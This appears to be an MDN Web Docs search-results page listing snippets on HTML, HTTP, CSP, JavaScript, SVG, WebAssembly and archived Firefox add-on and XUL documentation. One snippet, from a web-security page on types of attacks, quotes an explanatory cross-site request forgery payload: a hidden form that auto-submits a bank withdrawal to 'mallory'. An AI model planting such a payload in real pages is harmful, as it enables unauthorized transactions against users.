you can specify an on<…> event handler for a particular event (such as click) for a given object in different ways: adding an html attribute named on<eventtype>: <button onclick="handleclick()">, or by setting the corresponding property
from javascript: document.queryselector("button").onclick = function(event) { … }.
...a handler can then be removed
from the object by calling its removeeventlistener() function.
...if the event handler doesn't access any data
from the event object, you can leave out the event when calling onclick().
...And 3 more matches
Constraint validation - Developer guides
note that most input types don't have intrinsic constraints, as some are simply barred
from constraint validation or have a sanitization algorithm transforming incorrect values to a correct default.
... constraint combining several fields: postal code validation the postal code format varies
from one country to another.
... not only do most countries allow an optional prefix with the country code (like d- in germany, f- in
france or switzerland), but some countries have postal codes with only a fixed number of digits; others, like the uk, have more complex structures, allowing letters at some specific positions.
...And 3 more matches
A hybrid approach - Developer guides
this keeps the complexity of altering content on the server side, but still allows our layouts to benefit
from the flexibility and future-readiness of responsive design.
...of course, this technique suffers
from all the downsides associated with user-agent detection.
...this is something you might be able to discern on the client-side using javascript feature detection
from modernizr or detect it.
...And 3 more matches
<input type="month"> - HTML: Hypertext Markup Language
the control's ui varies in general
from browser to browser; at the moment support is patchy, with only chrome/opera and edge on desktop — and most modern mobile browser versions — having usable implementations.
... you can set a default value for the input control by including a month and year inside the value attribute, like so: <label for="bday-month">what month were you born in?</label> <input id="bday-month" type="month" name="bday-month" value="2017-06"> one thing to note is that the displayed date format differs
from the actual value; most user agents display the month and year in a locale-appropriate form, based on the set locale of the user's operating system, whereas the date value is always formatted yyyy-mm.
...the values provided are suggestions, not requirements: users can select
from this predefined list or provide a different value.
...And 3 more matches
<input type="search"> - HTML: Hypertext Markup Language
the values provided are suggestions, not requirements: users can select
from this predefined list or provide a different value.
... the search event is rate-limited so that it is not sent more more
frequently than an implementation-defined interval.
...the following screenshot comes
from chrome: in addition, modern browsers also tend to automatically store search terms previously entered across domains, which then come up as autocomplete options when subsequent searches are performed in search inputs on that domain.
...And 3 more matches
<template>: The Content Template element - HTML: Hypertext Markup Language
think of a template as a content
fragment that is being stored for subsequent use in the document.
... however, the htmltemplateelement has a content property, which is a read-only document
fragment containing the dom subtree which the template represents.
... note that directly using the value of the content could lead to unexpected behavior, see avoiding document
fragment pitfall section below.
...And 3 more matches
dir - HTML: Hypertext Markup Language
it can have the following values: ltr, which means left to right and is to be used for languages that are written
from the left to the right (like english); rtl, which means right to left and is to be used for languages that are written
from the right to the left (like arabic); auto, which lets the user agent decide.
... the auto value should be used for data with an unknown directionality, like data coming
from user input, eventually stored in a database.
... living standard no change
from latest snapshot, html 5.1 html 5.1the definition of 'dir' in that specification.
...And 3 more matches
Evolution of HTTP - HTTP
http has evolved
from an early protocol to exchange files in a semi-trusted laboratory environment, to the modern maze of the internet, now carrying images, videos in high resolution and 3d.
... http/0.9 – the one-line protocol the initial version of http had no version number; it has been later called 0.9 to differentiate it
from the later versions.
...notable headers are do not track (dnt) header to control privacy, x-
frame-options, or upgrade-insecure-requests but many more exist.
...And 3 more matches
HTTP conditional requests - HTTP
weak validation weak validation differs
from strong validation, as it considers two versions of the document as identical if the content is equivalent.
... for example, a page that would differ
from another only by a different date in its footer, or different advertising, would be considered identical to the other with weak validation.
...this makes the cache
fresh again, and the client uses the cached resource.
...And 3 more matches
Content negotiation - HTTP
note: some disadvantages of http content negotiation are explained in a wiki page
from whatwg.
...browsers are
free to use the value of the header that they think is the most adequate; an exhaustive list of default values for common browsers is available.
...a comment is a
free string delimited by parentheses.
...And 3 more matches
CSP: form-action - HTTP
the http content-security-policy (csp) form-action directive restricts the urls which can be used as the target of a form submissions
from a given context.
... examples: http://*.example.com: matches all attempts to load
from any subdomain of example.com using the http: url scheme.
... *.example.com: matches all attempts to load
from any subdomain of example.com using the current protocol.
...And 3 more matches
CSP: object-src - HTTP
elements controlled by object-src are perhaps coincidentally considered legacy html elements and aren't receiving new standardized features (such as the security attributes sandbox or allow for <i
frame>).
... examples: http://*.example.com: matches all attempts to load
from any subdomain of example.com using the http: url scheme.
... *.example.com: matches all attempts to load
from any subdomain of example.com using the current protocol.
...And 3 more matches
CSP: sandbox - HTTP
the http content-security-policy (csp) sandbox directive enables a sandbox for the requested resource similar to the <i
frame> sandbox attribute.
... syntax content-security-policy: sandbox; content-security-policy: sandbox <value>; where <value> can optionally be one of the following values: allow-downloads-without-user-activation allows for downloads to occur without a gesture
from the user.
... allow-popups allows popups (like
from window.open, target="_blank", showmodaldialog).
...And 3 more matches
Feature-Policy: sync-xhr - HTTP
syntax feature-policy: sync-xhr <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
... 'src': (in an i
frame allow attribute only) the feature will be allowed in this i
frame, as long as the document loaded into it comes
from the same origin as the url in the i
frame's src attribute.
...And 3 more matches
Network Error Logging - HTTP
this experimental header allows web sites and applications to opt-in to receive reports about failed (and, if desired, successful) network fetches
from supporting browsers.
... success_
fraction floating point value between 0 and 1 which specifies the proportion of successful network requests to report.
... failure_
fraction floating point value between 0 and 1 which specifies the proportion of failed network requests to report.
...And 3 more matches
Protocol upgrade mechanism - HTTP
if you need to create a websocket connection
from scratch, you'll have to handle the handshaking process yourself.
...these should be selected
from the iana websocket extension name registry.
...instead, it helps to prevent non-websocket clients
from inadvertently, or through misuse, requesting a websocket connection.
...And 3 more matches
HTTP range requests - HTTP
http range requests allow to send only a portion of an http message
from a server to a client.
...accept-ranges: none requesting a specific range
from a server if the server supports range requests, you can issue such a request by using the range header.
... single part ranges we can request a single range
from a resource.
...And 3 more matches
Introduction - JavaScript
for example, server-side extensions allow an application to communicate with a database, provide continuity of information
from one invocation to another of the application, or perform file manipulations on a server.
...and, likewise, node.js javascript on the server can respond to custom requests
from code written in the browser.
...javascript follows most java expression syntax, naming conventions and basic control-flow constructs which was the reason why it was renamed
from livescript to javascript.
...And 3 more matches
Iterators and generators - JavaScript
javascript provides a number of ways of iterating over a collection,
from simple for loops to map() and filter().
...it allows creation of a simple range iterator which defines a sequence of integers
from start (inclusive) to end (exclusive) spaced step apart.
... we can now adapt the example
from above.
...And 3 more matches
Character classes - JavaScript
\w matches any alphanumeric character
from the basic latin alphabet, including the underscore.
... \w matches any character that is not a word character
from the basic latin alphabet.
... \cx matches a control character using caret notation, where "x" is a letter
from a–z (corresponding to codepoints u+0001–u+001f).
...And 3 more matches
Array.prototype.reduce() - JavaScript
starts
from index 0 if an initialvalue is provided.
... otherwise, it starts
from index 1.
... return value the single value that results
from the reduction.
...And 3 more matches
Map - JavaScript
size the number of items in a map is easily retrieved
from its size property.
... performance performs better in scenarios involving
frequent additions and removals of key-value pairs.
... not optimized for
frequent additions and removals of key-value pairs.
...And 3 more matches
Number.prototype.toExponential() - JavaScript
syntax numobj.toexponential([
fractiondigits]) parameters
fractiondigits optional.
... return value a string representing the given number object in exponential notation with one digit before the decimal point, rounded to
fractiondigits digits after the decimal point.
... exceptions rangeerror if
fractiondigits is too small or too large.
...And 3 more matches
Symbol - JavaScript
every symbol value returned
from symbol() is unique.
...it creates a new symbol each time: symbol('foo') === symbol('foo') // false the following syntax with the new operator will throw a typeerror: let sym = new symbol() // typeerror this prevents authors
from creating an explicit symbol wrapper object instead of a new symbol value and might be surprising as creating explicit wrapper objects around primitive data types is generally possible (for example, new boolean, new string and new number).
...to create symbols available across files and even across realms (each of which has its own global scope), use the methods symbol.for() and symbol.keyfor() to set and retrieve symbols
from the global symbol registry.
...And 3 more matches
instanceof - JavaScript
frames or windows) different scopes have different execution environments.
...for instance, [] instanceof window.
frames[0].array will return false, because array.prototype !== window.
frames[0].array and arrays inherit
from the former.
... this may not make sense at first, but for scripts dealing with multiple
frames or windows, and passing objects
from one context to another via functions, this will be a valid and strong issue.
...And 3 more matches
Handling media support issues in web content - Web media technologies
there is a drawback, however: because there are so many to choose
from, with so many different kinds of licenses and design principles involved, each web browser developer is left to its own devices when deciding which media file types and codecs to support.
... using poster
frames a poster
frame is a still image that's representative of the content of a video.
... this may be simply the first
frame of video; however, in many cases, the first
frame is blank, or contains nothing but the logo of a business, or some other image that doesn't give the reader any context for the video's contents.
...And 3 more matches
Critical rendering path - Web Performance
understanding and optimizing the critical rendering path is important to ensure reflows and repaints can happen at 60
frames per second, to ensure performant user interactions and avoid jank.
...the more specific tag requires more work
from the browser, but this penalty is not likely worth optimizing.
...specificity is likely not your low hanging
fruit.
...And 3 more matches
Lazy loading - Web Performance
between 2011 and 2019, the median resource weight increased
from ~100kb to ~400kb for desktop and ~50kb to ~350kb for mobile.
... while image size has increased
from ~250kb to ~900kb on desktop and ~100kb to ~850kb on mobile.
...this enables sending the minimal code required to provide value up
front, improving page-load times.
...And 3 more matches
begin - SVG: Scalable Vector Graphics
<syncbase-value> this value defines a syncbase and an optional offset
from that syncbase.
... examples offset example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1"> <!-- animated rectangles --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" to="100" begin="0s" dur="8s" fill="
freeze" /> </rect> <rect x="35" y="60" height="15" width="0"> <animate attributetype="xml" attributename="width" to="75" begin="2s" dur="6s" fill="
freeze" /> </rect> <rect x="60" y="85" height="15" width="0"> <animate attributetype="xml" attributename="width" to="50" begin="4s" dur="4s" fill="
freeze...
...05" x2="110" y2="105" stroke="grey" stroke-width=".5" /> </svg> begin-2-syncbase.svg event example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- animated rectangle --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width"
from="0" to="100" begin="startbutton.click" dur="8s" fill="
freeze" /> </rect> <!-- trigger --> <rect id="startbutton" style="cursor:pointer;" x="19.5" y="62.5" rx="5" height="25" width="80" fill="#efefef" stroke="black" stroke-width="1" /> <text x="60" y="80" text-anchor="middle" style="pointer-events:none;">click me.<...
...And 3 more matches
gradientUnits - SVG: Scalable Vector Graphics
value userspaceonuse | objectboundingbox default value objectboundingbox animatable yes userspaceonuse this value indicates that the attributes represent values in the coordinate system that results
from taking the current user coordinate system in place at the time when the gradient element is referenced (i.e., the user coordinate system for the element referencing the gradient element via a fill or stroke property) and then applying the transform specified by attribute gradienttransform.
...this transformation is due to application of the non-uniform scaling transformation
from bounding box space to user space.
... radialgradient for <radialgradient>, gradientunits defines the coordinate system used for the attributes cx, cy, r, fx, fy, and
fr.
...And 3 more matches
Namespaces crash course - SVG: Scalable Vector Graphics
the problem with mixing content
from different xml dialects in a single xml document is that the elements defined by one dialect may have the same name as elements defined by another.
... contrary to popular opinion, the answer to this question is not "it can tell
from the doctype declaration".
...(in fact uris are used so
frequently that the term "namespace uri" is commonly used instead of "namespace name".) redeclaring the default namespace so if all the descendants of the root element are also defined to be in the default namespace, how do you mix in content
from another namespace?
...And 3 more matches
Types of attacks - Web security
the victim then retrieves this malicious script
from the server when the browser sends a request for data.
...the browser executes the code because it assumes the response is
from a "trusted" server which the user has already interacted with.
...for endpoints that require a post request, it's possible to programmatically trigger a <form> submit (perhaps in an invisible <i
frame>) when the page is loaded: <form action="https://bank.example.com/withdraw" method="post"> <input type="hidden" name="account" value="bob"> <input type="hidden" name="amount" value="1000000"> <input type="hidden" name="for" value="mallory"> </form> <script>window.addeventlistener('domcontentloaded', (e) => { document.queryselector('form').submit(); }</script> there are a few techniqu...
...And 3 more matches
Tutorials
quick guide to implement web fonts (with @font-face) the @font-face feature
from css3 allows you to use custom typefaces on the web in an accessible, manipulatable, and scalable way.
...it's interactive and you can do it with your
friends.
...
freecodecamp
freecodecamp teaches a variety of languages and
frameworks for web development.
...And 3 more matches
<xsl:number> - XSLT: Extensible Stylesheet Language Transformations
syntax <xsl:number count=expression level="single" | "multiple" | "any"
from=expression value=expression format=format-string lang=xml:lang-code letter-value="alphabetic" | "traditional" grouping-separator=character grouping-size=number /> required attributes none.
...the processor goes to the first node in the ancestor-or-self axis that matches the count attribute and then counts that node plus all its preceding siblings (stopping when it reaches a match to the
from attribute, if there is one) that also match the count attribute.if no match is found, the sequence will be an empty list.
...the processor looks at all ancestors of the current node and the current node itself, stopping when it reaches a match for the
from attribute, if there is one.
...And 3 more matches
Compiling a New C/C++ Module to WebAssembly - WebAssembly
it is enabled by default in firefox 52+ and chrome 57+/latest opera (you can also run wasm code in firefox 47+ by enabling the javascript.options.wasm flag in about:config, or chrome (51+) and opera (38+) by going to chrome://flags and enabling the experimental webassembly flag.) note: if you try to open generated html file (hello.html) directly
from your local hard drive (e.g.
...you could then build your custom html completely
from scratch, although this is an advanced approach; it is usually easier to use the provided html template.
... emscripten requires a large variety of javascript "glue" code to handle memory allocation, memory leaks, and a host of other problems calling a custom function defined in c if you have a function defined in your c code that you want to call as needed
from javascript, you can do this using the emscripten ccall() function, and the emscripten_keepalive declaration (which adds your functions to the exported functions list (see why do functions in my c/c++ source code vanish when i compile to javascript, and/or i get no functions to process?)).
...And 3 more matches
WebAssembly Concepts - WebAssembly
javascript
frameworks could make use of webassembly to confer massive performance advantages and new features while still making functionality easily available to web developers.
... webassembly is a different language
from javascript, but it is not intended as a replacement.
...it has many advantages — it is dynamically typed, requires no compile step, and has a huge ecosystem that provides powerful
frameworks, libraries, and other tools.
...And 3 more matches
WebAssembly
and what's even better is that it is being developed as a web standard via the w3c webassembly working group and community group with active participation
from all major browser vendors.
... compiling
from rust to webassembly if you've written some rust code, you can compile it into webassembly!
... exported webassembly functions exported webassembly functions are the javascript reflections of webassembly functions which allow calling webassembly code
from javascript.
...And 3 more matches
Cross-domain Content Scripts - Archive of obsolete content
in particular, they can't: access content hosted in an i
frame, if that content is served
from a different domain make cross-domain xmlhttprequests however, you can enable these features for specific domains by adding them to your add-on's package.json under the "cross-domain-content" key, which itself lives under the "permissions" key: "permissions": { "cross-domain-content": ["http://example.org/", "http://example.com/"] } the domains listed must include the scheme and fully qualified domain name, and these must exactly match the domains serving the content - so in the example above, the content script will not be allowed to access content served
from https://example.com/.
... cross-domain i
frames the following "main.js" creates a page-worker which loads a local html file called "page.html", attaches a content script called "page.js" to the page, waits for messages
from the script, and logs the payload.
... //main.js var data = require("sdk/self").data; var pageworker = require("sdk/page-worker").page({ contenturl: data.url("page.html"), contentscriptfile: data.url("page-script.js") }); pageworker.on("message", function(message) { console.log(message); }); the "page.html" file embeds an i
frame whose content is served
from "http://en.m.wikipedia.org/": <!doctype html> <!-- page.html --> <html> <head></head> <body> <i
frame id="wikipedia" src="http://en.m.wikipedia.org/"></i
frame> </body> </html> the "page-script.js" file locates "today's featured article" and sends its content to "main.js": // page-script.js var i
frame = window.document.getelementbyid("wikipedia"); var todaysfeaturedarticle = i
frame.contentwindow.document.getelementbyid("m...
...And 2 more matches
self - Archive of obsolete content
note that the self object in content scripts is completely different
from the self module, which provides an api for an add-on to access its data files and id.
...vailable to the content script in the options property of self: // main.js const tabs = require("sdk/tabs"); tabs.open({ url: "./page.html", onready: function(tab) { tab.attach({ contentscriptfile: "./content-script.js", contentscriptoptions: { a: "blah" } }); } }); // content-script.js alert(self.options.a); port you can use port to receive messages
from, and send messages to, the main add-on code.
... methods the self object has four methods, which enable the content script to send messages to, and receive messages
from, the main add-on code.
...And 2 more matches
Communicating using "postMessage" - Archive of obsolete content
however, the context-menu module does not support port, so to send messages
from a content script to the add-on via a context menu object, you must use message events.
... handling message events in the content script to send a message
from a content script, you use the postmessage function of the global self object: self.postmessage(contentscriptmessage); this takes a single parameter, the message payload, which may be any json-serializable value.
... to receive a message
from the add-on script, use self's on function: self.on("message", function(addonmessage) { // handle the message }); like all event-registration functions, this takes two parameters: the name of the event, and the handler function.
...And 2 more matches
windows - Archive of obsolete content
converting to chrome windows to convert
from the browserwindow objects used in this api to the chrome window objects used in the window/utils api, use the viewfor() function exported by the viewfor module.
... to convert back the other way,
from a chrome window to a browserwindow object, use the modelfor() function, exported by the modelfor module.
... here's an example converting
from a high-level browserwindow to a chrome window, and then back the other way: var { modelfor } = require("sdk/model/core"); var { viewfor } = require("sdk/view/core"); var browserwindows = require("sdk/windows").browserwindows; function converttochromeandback(browserwindow) { // get the chrome window for this browserwindow var chromewindow = viewfor(browserwindow); // now we can use the chrome window api console.log(chromewindow.document.location.href); // -> "chrome://browser/content/browser.xul" // convert back to the high-level window var highlevelwindow = modelfor(chromewindow); // now we can use the sdk's high-level window api console.log(highlevelwindow.title); } browserwindows.on("open", converttochromeandback); note that direc...
...And 2 more matches
content/worker - Archive of obsolete content
worker worker is composed
from the eventemitter trait, therefore instances of worker and their descendants expose all the public properties exposed by eventemitter along with additional public properties that are listed below.
... destroy() destroy the worker by removing the content script
from the page and removing all registered listeners.
... properties port object that allows you to: send customized messages to the worker using the port.emit function receive events
from the worker using the port.on function url the url of the content.
...And 2 more matches
places/history - Archive of obsolete content
quire("sdk/places/history"); // simple query search( { url: "https://developers.mozilla.org/*" }, { sort: "visitcount" } ).on("end", function (results) { // results is an array of objects containing // data about visits to any site on developers.mozilla.org // ordered by visit count }); // complex query // the query objects are or'd together // let's say we want to retrieve all visits
from before a week ago // with the query of 'ruby', but
from last week onwards, we want // all results with 'javascript' in the url or title.
... // we'd compose the query with the following options let lastweek = date.now - (1000*60*60*24*7); search( // first query looks for all entries before last week with 'ruby' [{ query: "ruby", to: lastweek }, // second query searches all entries after last week with 'javascript' { query: "javascript",
from: lastweek }], // we want to order chronologically by visit date { sort: "date" } ).on("end", function (results) { // results is an array of objects containing visit data, // sorted by visit date, with all entries
from more than a week ago // that contain 'ruby', *in addition to* entries
from this last week // that contain 'javascript' }); globals functions search(queries, options) queries can be performed on history entries by passing in one or more query options.
... placesemitter the placesemitter is not exposed in the module, but returned
from the search functions.
...And 2 more matches
cfx to jpm - Archive of obsolete content
you can use jpm
from firefox 38 onwards.
... id handling with cfx when you use cfx, the id is taken
from the id field in the add-on's package.json file.
...so when switching over to jpm: either rename your "main.js" to "index.js" and move it
from "lib" to the top level or add a main field to package.json with the value "lib/main.js".
...And 2 more matches
Creating annotations - Archive of obsolete content
the widget api is deprecated
from firefox 29 onwards.
... the selector page mod can be switched on and off using a message
from the main add-on code.
... in the attach handler we do three things: send the content script a message with the current activation status add the worker to an array called selectors so we can send it messages later on assign a message handler for messages
from this worker.
...And 2 more matches
Getting started (cfx) - Archive of obsolete content
to build an xpi, just execute the command cfx xpi
from the add-on's directory: cfx xpi you should see a message like: exporting extension to my-addon.xpi.
...you can do this by pressing the ctrl+o key combination (cmd+o on mac)
from within firefox, or selecting the "open" item
from firefox's "file" menu.
...in this case it's assumed that you have checked out the sdk
from its github repo and will have run the bin/activate script
from the root of your checkout.
...And 2 more matches
JavaScript timers - Archive of obsolete content
but there are some javascript native functions (timers) which allow us to delay the execution of arbitrary instructions: settimeout() setinterval() setimmediate() requestanimation
frame() the settimeout() function is commonly used if you wish to have your function called once after the specified delay.
...the requestanimation
frame() function tells the browser that you wish to perform an animation and requests that the browser schedule a repaint of the window for the next animation
frame.
... requestanimation
frame() requestanimation
frame() tells the browser that you wish to perform an animation and requests that the browser schedule a repaint of the window for the next animation
frame.
...And 2 more matches
Downloading JSON and JavaScript in extensions - Archive of obsolete content
a common practice found in many extensions is using xmlhttprequest (or some other mechanism) to download javascript or json (they are different)
from a remote website.
...the json decoding methods available to extension developers protect the extension
from malicious json and javascript.
... downloading state
from a remote webserver using json is becoming extremely popular.
...And 2 more matches
Extension Etiquette - Archive of obsolete content
if possible, create a menu item in the menu where it is most applicable; for instance, a bookmark sharing extension should be called
from the bookmarks menu.
...likewise, use context menu items sparingly — only for tasks that are done
frequently or on specific elements of a web page.
...it's not your extension's job to take focus
from the web content.
...And 2 more matches
Adding Events and Commands - Archive of obsolete content
in a nutshell, events propagate
from the root of the dom tree all the way down to the target element and then all the way up back to the root, in the capture and bubble phases, respectively.
... custom events this is a very powerful tool that you should know, even if it isn't that
frequently used.
...it isn't hard for xul code to control the content on pages being loaded or displayed, as we will see later on, but it can be hard for your extension xul code to receive information
from pages in a secure manner.
...And 2 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
it also makes sense
from a usability perspective, since bookmarks should be very easy to access for the user.
...the one for windows has 19x19 pixel
frames, while the mac os ones are 20x20 pixels.
... this doesn't really matter as long as the contents are 16x16 and they are centered in the
frame.
...And 2 more matches
Install.js - Archive of obsolete content
extension, theme, and plug-in developers must switch away
from install.js based packages to the new packaging scheme with an install.rdf manifest.
...see also this article
from xulplanet's main tutorial.
...this version has been developed as part of the effort to port firefox extensions to seamonkey
from the xsidebar project.
...And 2 more matches
Same-origin policy for file: URIs - Archive of obsolete content
for example, if you have a file foo.html which accesses another file bar.html and you have navigated to it
from the file index.html, the load will succeed only if bar.html is either in the same directory as index.html or in a directory contained within the same directory as index.html.
...for cross-window dom access, each file is treated as a separate origin, with one exception: if a file is loaded
from another file that would otherwise be able to load it following this same-origin policy, they are considered to have the same origin.
... this load can occur through a sub
frame, link, location set, call to window.open(), or the like.
...And 2 more matches
Autodial for Windows NT - Archive of obsolete content
a brief history of autodial on windows in the consumer versions of windows, (windows 95, windows 98, windows me) autodial for all applications is controlled
from the control panel, in the internet options applet, under the tab connections.
...so, as more people move to windows xp
from windows 98, the autodial suddenly stops working for them.
... in fact, it's not mozilla that is broken, it's that microsoft has changed the way things work
from windows 98 to windows xp.
...And 2 more matches
Compiling The npruntime Sample Plugin in Visual Studio - Archive of obsolete content
when loaded
from local disk on windows.
... again note that the resulting dll filename must start with "np", so either call your project like this or rename the file later delete the .cpp and .h and readme files
from the project and disk (if you did not create an empty project) copy the npruntime sample plugin source code into the dir of the new vs project and add the files to the project using the vs gui (.cpp files to "source files", .h files to "header files", .rc file to "resource files").
... samples can be obtained
from: https://developer.mozilla.org/en/plugins/samples_and_test_cases get the npapi sdk.
...And 2 more matches
Dehydra Function Reference - Archive of obsolete content
strict boolean: controls js strict mode werror boolean: turns js warnings into errors gczeal int: this is a write-only parameter to set turn on
frequent garbage collection.
...it is not possible to define new warnings in dehydra, thus one has to figure out a warning code
from an existing warning and hijack it for ulterior purposes.
...if no location is provided, the location is inferred
from the last process_type or process_function.
...And 2 more matches
Enabling Experimental Jetpack Features - Archive of obsolete content
read the experiment report for what we learned
from it and the blog post announcing the first sdk release for what we're up to next!
...in python, you can call
from __future__ import foo which adds the functionality that foo yields to the script.
... in jetpack, we propse adding a new function to the base namespace called import
fromfuture.
...And 2 more matches
Simple Storage - Archive of obsolete content
read the experiment report for what we learned
from it and the blog post announcing the first sdk release for what we're up to next!
...the object can also be forced to reload its data
from disk by calling jetpack.storage.simple.open(), although the data comes loaded automatically.
...open()as described above, the jetpack.storage.simple object is automatically populated when a feature is loaded, but a feature may force the object to read
from disk by calling jetpack.storage.simple.open().
...And 2 more matches
Clipboard - Archive of obsolete content
read the experiment report for what we learned
from it and the blog post announcing the first sdk release for what we're up to next!
...jetpack.future.import("clipboard"); methods set(contentstringflavorstring) stringwrites data
from jetpack to the clipboard.
...jetpack.import.future("clipboard");// in text formatjetpack.clipboard.set("hello world");// in other clipboard get(flavor string)returns data to jetpack
from the clipboard.
...And 2 more matches
Metro browser chrome tests - Archive of obsolete content
the metro browser chrome test suite is an automated testing
framework designed to allow testing of the immersive version of firefox for windows 8 and above using javascript.
... it currently allows you to run javascript code in the same scope as the immersive browser and report results using the same functions as the mochitest test
framework.
...for example, to run a specific test the command would be: ./mach mochitest-metro browser/metro/base/tests/mochitest/(testfile) writing browser chrome tests metro browser chrome tests make use of a common
framework for defining and running tests.
...And 2 more matches
Plug-n-Hack Phase1 - Archive of obsolete content
serving manifests
from outside of your tool you may want to serve manifests
from a separate webserver (e.g.
... for testing); plug-n-hack requires tool and service manifests to be served
from the same origin as the api endpoints but, for testing purposes, ringleader (the firefox addon implementation of the browser component) allows you to set a preference to relax or disable origin checks.
.../p/zap-extensions/source/browse/branches/beta/src/org/zaproxy/zap/extension/plugnhack/resource/service.json firefox ui in firefox the tool commands will be made available via the developer toolbar (gcli) https://developer.mozilla.org/docs/tools/gcli a example of how the zap commands are currently displayed is: note that user specified parameters can be specified for commands, which can either be
free text, a static pull down list of options or a dynamic list of options obtained
from the tool on demand.
...And 2 more matches
Plug-n-Hack - Archive of obsolete content
overview plug-n-hack (pnh) is a proposed standard
from the mozilla security team for defining how security tools can interact with browsers in a more useful and usable way.
...configuring a browser to work with a security tool can be a non-trivial process, and this can discourage people with less experience
from using such tools.
...ser to use an intercepting proxy that can handle https traffic, the user must typically: configure their browser to proxy via the tool configure the tool to proxy via their corporate proxy import the tool’s ssl certificate into their browser if any of these steps are carried out incorrectly then the browser will typically fail to connect to any website – debugging such problems can be
frustrating and time-consuming.
...And 2 more matches
Priority Content - Archive of obsolete content
update: i've removed documents
from this list that have been migrated into the wiki.
...if there is devedge content you think should be migrated that isn't currently on this list, feel
free to add it.
... devedge devedge mirror note: if you're digging around the mirror and see anything there that you think should be migrated to devmo that isn't on this list, feel
free to add it below.
...And 2 more matches
Hacking wiki - Archive of obsolete content
checking out first, check out the <tt>developer.mozilla.org</tt> project
from svn.
...polvi claims that you'll have it, but in case you don't, you can copy one
from the mediawiki tarball.
...to configure it, run <tt>update-devmo.php</tt>
from the command line.
...And 2 more matches
Standalone XPCOM - Archive of obsolete content
the contents of this standalone xpcom in general are: nspr : mozilla/nsprpub xpcom : mozilla/xpcom note 1: xpcom apis are not
frozen yet.
... note 2: xpcom standalone differs
from the xpcom built with mozilla.
... the most common case of why the sample would have failed if you didn't run it
from the bin directory.
...And 2 more matches
browser.type - Archive of obsolete content
subdocuments of chrome documents are of chrome type, unless the container element (one of i
frame, browser or editor) has one of the special type attribute values (the common ones are content, content-targetable and content-primary) indicating that the subdocument is of content type.
... this boundary has a number of special effects, such as making window.top == window (unless the browser is added to a chrome document), and preventing documents
from inheriting the principal of the parent document.
... the type attribute on all
frames in content documents is ignored; subdocuments of content documents are always content documents.
...And 2 more matches
International characters in XUL JavaScript - Archive of obsolete content
gecko 1.8, as used in firefox 1.5 and other applications, added support for non-ascii characters in javascript files loaded
from xul files.
... this means that such script files can use any character
from virtually any language of the world.
... earlier versions always interpreted js files loaded
from xul as iso-8859-1 (latin-1), in both local and remote cases.
...And 2 more matches
appendNotification - Archive of obsolete content
this should be either a string, or,
from gecko 37 onwards, you can pass a document
fragment with rich content as well.
... if the return value
from this function is not true, then the notification is closed.
...this indicates that the notification box has been removed
from its window.
...And 2 more matches
Filtering - Archive of obsolete content
for example, you wish the user to be able to select a value
from a list, and the template results should be filtered based on that value.
...when removing the filter, we only need to remove the triple
from the query.
...in the previous example, we hard-coded a menulist with the list of countries, but we could also generate this list
from the datasource.
...And 2 more matches
Template Logging - Archive of obsolete content
as this example implies multiple queries are being used, we can determine that the first query did not provide a result with the given id, and that the result
from the second query is used instead.
...again, it was a result
from query 2.
...in template with id root using ref http://www.some-fictitious-zoo.com/birds removed active result for query 1 (no new active query): http://www.some-fictitious-zoo.com/birds/barnowl this is a similar example, except that a result with the same id is being removed
from the first query instead.
...And 2 more matches
Things I've tried to do with XUL - Archive of obsolete content
feel
free to add your own xul experiences here.
...(to add insult, xul layout code *explicitly* trims off '%'
from width/height, thus treating it as pixels.) for reference, i'd like the following to give a vbox that resizes along with the window, with the green, red, and blue inside boxes always maintaining a 30%-20%-50% ratio to the height of the parent vbox.
...
from my reading of the code, just height="0" should work, but it doesn't seem to.
...And 2 more matches
Accesskey display rules - Archive of obsolete content
don't change the pref value
from your xul applications.
...don't change the pref value
from your xul applications too.
...at that time, accesskeys are specified by independent entity
from their label.
...And 2 more matches
Anonymous Content - Archive of obsolete content
declaring scrollbar example the example below shows how a scrollbar might be declared (it has been simplified a bit
from the real thing): <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <binding id="scrollbarbinding"> <content> <xul:scrollbarbutton type="decrement"/> <xul:slider flex="1"> <xul:thumb/> </xul:slider> <xul:scrollbarbutton type="increment"/> </content> </binding> </bindings> ...
...for example, take this xul
fragment, assuming it is bound to the scrollbar xbl earlier: <scrollbar/> <scrollbar> <button label="overridden"/> </scrollbar> the first scroll bar, because it has no content of its own, will have its content generated
from a binding definition declared in an xbl file.
...note that the built-in elements such as scroll bars get their xbl
from the files in the bindings directory in the toolkit package.
...And 2 more matches
Broadcasters and Observers - Archive of obsolete content
in the latter case, various user interface elements might need to update when the user switches
from offline mode to online mode.
...itional observers are defined: <broadcaster id="offline_command" label="offline" accesskey="f"/> <keyset> <key id="goonline_key" observes="offline_command" modifiers="accel" key="o"/> </keyset> <menuitem id="offline_menuitem" observes="offline_command"/> <toolbarbutton id="offline_toolbarbutton" observes="offline_command"/> in this example, both the label and the accesskey will be forwarded
from the broadcaster to the key, menu item and the toolbar button.
...the observers will grab all the values of any attributes
from the broadcasters whenever they change.
...And 2 more matches
Introduction to RDF - Archive of obsolete content
« previousnext » in this section, we'll look at rdf (resource description
framework).
... resource description
framework we can use the tree elements to display a set of data, such as bookmarks or mail messages.
...rdf (resource description
framework) is a format that can be used to store resources such as bookmarks or mail.
...And 2 more matches
RDF Datasources - Archive of obsolete content
the table below shows the resources (or fields) that you can retrieve
from the history datasource.
... bookmarks (rdf:bookmarks) the bookmarks are generated
from the user's bookmark list.
...this has the effect of reading the data
from all the datasources mentioned.
...And 2 more matches
XBL Example - Archive of obsolete content
the label attributes on the two buttons inherit their values
from the bound element.
... here, they inherit
from two custom attributes, previoustext and nexttext.
...the anonymous array isn't used as the deck is not anonymous
from the box.
...And 2 more matches
XUL accessibility tool - Archive of obsolete content
while not meant to be a comprehensive test suite (meaning that passing all included tests does not guarantee that an application is
